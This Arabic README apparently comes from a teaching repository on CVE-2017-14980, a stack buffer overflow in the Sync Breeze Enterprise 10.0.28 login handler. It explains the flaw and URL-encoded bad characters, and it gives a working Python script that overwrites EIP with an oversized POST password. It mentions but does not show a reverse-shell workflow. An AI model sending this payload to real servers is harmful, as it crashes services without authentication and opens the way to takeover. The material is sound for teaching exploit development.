تجاوز سعة المخزن المؤقت المستند إلى المكدس في Sync Breeze Enterprise 10.0.28 يمكن الوصول إليه من خلال معالج /login، مما يوضح كيف يمكن لطول الإدخال غير المدقق أن يفسد ذاكرة المكدس.
تجاوز سعة المخزن المؤقت في المكدس في Sync Breeze Enterprise 10.0.28 يمكن الوصول إليه من خلال معالج /login، مما يوضح كيف يمكن لطول الإدخال غير المدقق أن يفسد ذاكرة المكدس.
هذا المستودع جزء من المواد التي أستخدمها عند تدريس استغلال تلف الذاكرة (بالإضافة إلى عملي المنتظم، أقوم أيضًا بالتدريس في دورات مختلفة في الأمن السيبراني حيث أساعد في تدريب الجيل القادم من مهندسي الهندسة العكسية).
CVE-2017-14980 هي حالة أستخدمها عندما أريد للطلاب تجربة كتابة فوق EIP مباشرة عبر HTTP بدلاً من بروتوكول TCP الخام. تبدو بسيطة في البداية، نموذج تسجيل دخول، كلمة مرور طويلة، انهيار، ولكن سياق HTTP يُدخل مجموعة من الأحرف الضارة التي ليست واضحة فورًا والتي تجبر الطلاب على التفكير في كيفية معالجة البيانات قبل وصولها إلى المخزن المؤقت الضعيف. فهم لماذا %، &، +، و = هي أحرف ضارة هنا يتطلب فهم ترميز URL، وهو درس مفيد بذاته.
Sync Breeze Enterprise هو تطبيق مزامنة ملفات لنظام Windows يعرض واجهة إدارة ويب. الثغرة موجودة في معالج تسجيل الدخول، الذي ينسخ حقل كلمة المرور إلى مخزن مؤقت في المكدس بحجم ثابت دون التحقق من الطول. ما يجعل هذه الحالة مفيدة للتدريس:
Sync Breeze Enterprise هو أداة مزامنة ملفات لنظام Windows تشمل خادم ويب مدمج للإدارة عن بُعد. تستمع واجهة الويب على منفذ TCP 80 عند تمكينها وتظهر نموذج تسجيل دخول في /login. الثغرة في معالج POST الذي يعالج حقل كلمة المرور.
تفاصيل تقنية رئيسية:
يقوم Sync Breeze بمعالجة نموذج تسجيل الدخول بقراءة جسم POST واستخراج حقل كلمة المرور. يتم نسخ القيمة إلى مخزن مؤقت في المكدس بحجم ثابت دون التحقق من طوله. نسخة مبسطة من المنطق الضعيف تبدو هكذا:
char password_buffer[256];
strcpy(password_buffer, password_field);
يتم فك ترميز URL لجسم POST قبل عملية النسخ، مما يعني أن الأحرف مثل %25 تُفك إلى % قبل الوصول إلى المخزن المؤقت. هذا أيضًا هو السبب في أن بعض الأحرف الخاصة بـ URL تعمل كأحرف ضارة، حيث يتم تفسيرها بواسطة طبقة HTTP قبل أن تصل البيانات إلى عملية النسخ الضعيفة. إرسال قيمة كلمة مرور طويلة بما يكفي يتسبب في الكتابة بعد نهاية المخزن المؤقت، مما يستبدل عنوان العودة المحفوظ. عندما تعود الدالة، يقوم المعالج المركزي بتحميل القيمة التي يتحكم فيها المهاجم من المكدس في EIP ويقفز إليها.
يمكن إعادة إنتاج الانهيار عن طريق إرسال كلمة مرور طويلة جدًا في طلب POST إلى /login. لا حاجة للمصادقة. مثال باستخدام Python:
import socket
HOST = '127.0.0.1'
PORT = 80
payload = b"A" * 600
body = b"username=admin&password=" + payload
request = (
b"POST /login HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Content-Type: application/x-www-form-urlencoded\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Connection: close\r\n"
b"\r\n" +
body
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
عند التنفيذ تحت مصحح الأخطاء، يُظهر الانهيار EIP مكتوبًا عليه بيانات يتحكم فيها المستخدم:
EIP = 41414141
مؤكدًا أن عنوان العودة المحفوظ قد تم إفساده بسبب التجاوز.
الهدف من هذا المستودع ليس فقط توضيح الانهيار، بل المرور بعملية الاستغلال الكاملة خطوة بخطوة، من الفزينج إلى شيل عكسي يعمل.
للحفاظ على نظافة ملف README الرئيسي، تم وضع الملاحظات التفصيلية للاستغلال، والنصوص البرمجية، وخطوات مصحح الأخطاء داخل مجلد Vulnerability 📂 في هذا المستودع.
هناك ستجد سير العمل الكامل المستخدم لاستغلال هذه الثغرة CVE، بما في ذلك: